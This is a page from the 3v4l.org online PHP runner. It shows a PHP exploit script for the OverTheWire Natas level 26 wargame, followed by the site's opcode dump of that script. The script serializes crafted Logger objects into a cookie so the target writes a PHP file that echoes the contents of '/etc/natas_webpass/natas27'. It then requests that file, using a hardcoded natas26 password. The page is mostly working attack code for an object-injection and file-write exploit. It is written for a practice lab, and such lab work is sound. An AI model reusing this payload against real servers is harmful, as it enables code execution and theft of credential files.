3v4l.org

run code in 300+ PHP versions simultaneously
<?php $filename = "4864".".php"; class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($exitMsg){ global $filename; // initialise variables $this->initMsg="#-- started--#\n"; $this->exitMsg=$exitMsg; /*$this->exitMsg='';*/ $this->logFile = $filename; // write initial message } function log($msg){ } function __destruct(){ // write exit message } } $greet = function() {}; $msg = array('<','?','php ','echo file_get_contents("/etc/natas_webpass/natas27");',''); foreach( $msg as $m) { $obj = new Logger($m); $func = base64_encode(serialize($obj)); print "<br><br>".$m."<br>".$func; $c = curl_init("http://natas26.natas.labs.overthewire.org/"); curl_setopt($c, CURLOPT_USERPWD, "natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"); curl_setopt($c, CURLOPT_COOKIE, 'drawing='.$func.''); curl_easy_setopt($c, CURLOPT_WRITEFUNCTION, $greet); $page = curl_exec($c); curl_close($c); } $c = curl_init('http://natas26.natas.labs.overthewire.org/img/'.$filename); curl_setopt($c, CURLOPT_USERPWD, "natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"); $page = curl_exec($c); curl_close($c);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 5, Position 2 = 53
Branch analysis from position: 5
2 jumps found. (Code = 78) Position 1 = 6, Position 2 = 53
Branch analysis from position: 6
1 jumps found. (Code = 42) Position 1 = 5
Branch analysis from position: 5
Branch analysis from position: 53
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 53
filename:       /in/EinHv
function name:  (null)
number of ops:  73
compiled vars:  !0 = $filename, !1 = $greet, !2 = $msg, !3 = $m, !4 = $obj, !5 = $func, !6 = $c, !7 = $page
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, '4864.php'
   30     1        DECLARE_LAMBDA_FUNCTION                                  '%00%7Bclosure%7D%2Fin%2FEinHv%3A30%240'
          2        ASSIGN                                                   !1, ~9
   32     3        ASSIGN                                                   !2, <array>
   33     4      > FE_RESET_R                                       $12     !2, ->53
          5    > > FE_FETCH_R                                               $12, !3, ->53
   35     6    >   NEW                                              $13     'Logger'
          7        SEND_VAR_EX                                              !3
          8        DO_FCALL                                      0          
          9        ASSIGN                                                   !4, $13
   36    10        INIT_FCALL                                               'base64_encode'
         11        INIT_FCALL                                               'serialize'
         12        SEND_VAR                                                 !4
         13        DO_ICALL                                         $16     
         14        SEND_VAR                                                 $16
         15        DO_ICALL                                         $17     
         16        ASSIGN                                                   !5, $17
   37    17        CONCAT                                           ~19     '%3Cbr%3E%3Cbr%3E', !3
         18        CONCAT                                           ~20     ~19, '%3Cbr%3E'
         19        CONCAT                                           ~21     ~20, !5
         20        ECHO                                                     ~21
   39    21        INIT_FCALL_BY_NAME                                       'curl_init'
         22        SEND_VAL_EX                                              'http%3A%2F%2Fnatas26.natas.labs.overthewire.org%2F'
         23        DO_FCALL                                      0  $22     
         24        ASSIGN                                                   !6, $22
   40    25        INIT_FCALL_BY_NAME                                       'curl_setopt'
         26        SEND_VAR_EX                                              !6
         27        FETCH_CONSTANT                                   ~24     'CURLOPT_USERPWD'
         28        SEND_VAL_EX                                              ~24
         29        SEND_VAL_EX                                              'natas26%3AoGgWAJ7zcGT28vYazGo4rkhOPDhBu34T'
         30        DO_FCALL                                      0          
   41    31        INIT_FCALL_BY_NAME                                       'curl_setopt'
         32        SEND_VAR_EX                                              !6
         33        FETCH_CONSTANT                                   ~26     'CURLOPT_COOKIE'
         34        SEND_VAL_EX                                              ~26
         35        CONCAT                                           ~27     'drawing%3D', !5
         36        CONCAT                                           ~28     ~27, ''
         37        SEND_VAL_EX                                              ~28
         38        DO_FCALL                                      0          
   42    39        INIT_FCALL_BY_NAME                                       'curl_easy_setopt'
         40        SEND_VAR_EX                                              !6
         41        FETCH_CONSTANT                                   ~30     'CURLOPT_WRITEFUNCTION'
         42        SEND_VAL_EX                                              ~30
         43        SEND_VAR_EX                                              !1
         44        DO_FCALL                                      0          
   43    45        INIT_FCALL_BY_NAME                                       'curl_exec'
         46        SEND_VAR_EX                                              !6
         47        DO_FCALL                                      0  $32     
         48        ASSIGN                                                   !7, $32
   44    49        INIT_FCALL_BY_NAME                                       'curl_close'
         50        SEND_VAR_EX                                              !6
         51        DO_FCALL                                      0          
   33    52      > JMP                                                      ->5
         53    >   FE_FREE                                                  $12
   47    54        INIT_FCALL_BY_NAME                                       'curl_init'
         55        CONCAT                                           ~35     'http%3A%2F%2Fnatas26.natas.labs.overthewire.org%2Fimg%2F', !0
         56        SEND_VAL_EX                                              ~35
         57        DO_FCALL                                      0  $36     
         58        ASSIGN                                                   !6, $36
   48    59        INIT_FCALL_BY_NAME                                       'curl_setopt'
         60        SEND_VAR_EX                                              !6
         61        FETCH_CONSTANT                                   ~38     'CURLOPT_USERPWD'
         62        SEND_VAL_EX                                              ~38
         63        SEND_VAL_EX                                              'natas26%3AoGgWAJ7zcGT28vYazGo4rkhOPDhBu34T'
         64        DO_FCALL                                      0          
   49    65        INIT_FCALL_BY_NAME                                       'curl_exec'
         66        SEND_VAR_EX                                              !6
         67        DO_FCALL                                      0  $40     
         68        ASSIGN                                                   !7, $40
   50    69        INIT_FCALL_BY_NAME                                       'curl_close'
         70        SEND_VAR_EX                                              !6
         71        DO_FCALL                                      0          
         72      > RETURN                                                   1

Function %00%7Bclosure%7D%2Fin%2FEinHv%3A30%240:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/EinHv
function name:  {closure}
number of ops:  1
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   30     0  E > > RETURN                                                   null

End of function %00%7Bclosure%7D%2Fin%2FEinHv%3A30%240

Class Logger:
Function __construct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/EinHv
function name:  __construct
number of ops:  9
compiled vars:  !0 = $exitMsg, !1 = $filename
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   11     0  E >   RECV                                             !0      
   12     1        BIND_GLOBAL                                              !1, 'filename'
   14     2        ASSIGN_OBJ                                               'initMsg'
          3        OP_DATA                                                  '%23--+started--%23%0A'
   15     4        ASSIGN_OBJ                                               'exitMsg'
          5        OP_DATA                                                  !0
   17     6        ASSIGN_OBJ                                               'logFile'
          7        OP_DATA                                                  !1
   20     8      > RETURN                                                   null

End of function __construct

Function log:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/EinHv
function name:  log
number of ops:  2
compiled vars:  !0 = $msg
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   22     0  E >   RECV                                             !0      
   23     1      > RETURN                                                   null

End of function log

Function __destruct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/EinHv
function name:  __destruct
number of ops:  1
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   27     0  E > > RETURN                                                   null

End of function __destruct

End of class Logger.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
149.74 ms | 1404 KiB | 17 Q